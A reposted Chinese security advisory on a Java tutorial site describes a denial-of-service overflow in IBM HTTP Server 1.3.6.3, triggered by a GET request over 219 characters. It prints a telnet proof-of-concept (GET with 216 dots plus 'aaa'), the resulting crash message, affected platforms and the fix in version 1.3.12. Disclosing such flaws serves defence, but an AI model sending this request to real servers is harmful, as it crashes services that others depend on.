当前位置: 首页 > 图文教程 > 网络编程 > JSP > 通过提交超长的GET请求导致IBM HTTP Server远程溢出

JSP
Java布局管理器使用方法
JDK 1.5之Generics
掌握JDK1.5枚举类型
XML到Java代码的数据绑定之对象
基于JNDI的应用程序开发
Java语言中链表和双向链表
Java语言的接口与类型安全
Java数据库存取技术
Java中对HashMap的深度分析
Java线程模型缺陷
Java新手入门的30个基本概念
JBuilder2005单元测试体验之测试配置
JBuilder2005单元测试之创建测试固件
JBuilder2005单元测试之捆绑多个用例
JBuilder2005单元测试之业务类介绍
JBuilder2005单元测试之JUnit框架
JBuilder 2005单元测试之慨述
轻松玩转Java配置的Classpath
Eclipse中自动重构实现探索
为Java应用程序添加退出事件响应

JSP 中的 通过提交超长的GET请求导致IBM HTTP Server远程溢出


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-02   浏览: 52 ::
收藏到网摘: n/a

涉及程序:
GET

描述:
通过提交超长的GET请求导致IBM HTTP Server远程溢出


详细:
IBM 的 HTTP 服务器是一个 web 服务器。在 Windows NT 使用的版本中存在拒绝服务的漏洞。

如果提交一个超过219个字符的 GET 请求,将导致服务器停止响应,并报错。要恢复服务正常工作需要重新启动应用程序。成功的利用该漏洞,攻击者可在受害的主机上执行任何代码。(但这还未得到完全证实。)


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


$ telnet target 80
GET /......(216个".")aaa HTTP/1.0

则系统会报告下列错误信息:
***STOP:0x0000001e(0X00000005,0X804B3A51,0X00000000,0X00000000)KMODE_EXCEPTI
ON_NOT_HANDLED.
***Address 804B3A51 base at 80400000,Datastamp 384D9B17-ntoskrnl.exe
注意:目标主机运行在Windows 2000下。

受影响的系统
IBM HTTP Server 1.3.6.3
- TurboLinux Turbo Linux 3.0.1
- Sun Solaris 2.6
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- RedHat Linux 6.0 sparc
- RedHat Linux 5.2 sparc
- Microsoft Windows NT 4.0
- IBM AIX 4.2.1
- Caldera OpenLinux 2.2

解决方案:
IBM 已经在 1.3.12 版本中解决了此问题,下载地址:
http://www-4.ibm.com/software/webservers/httpservers/download.html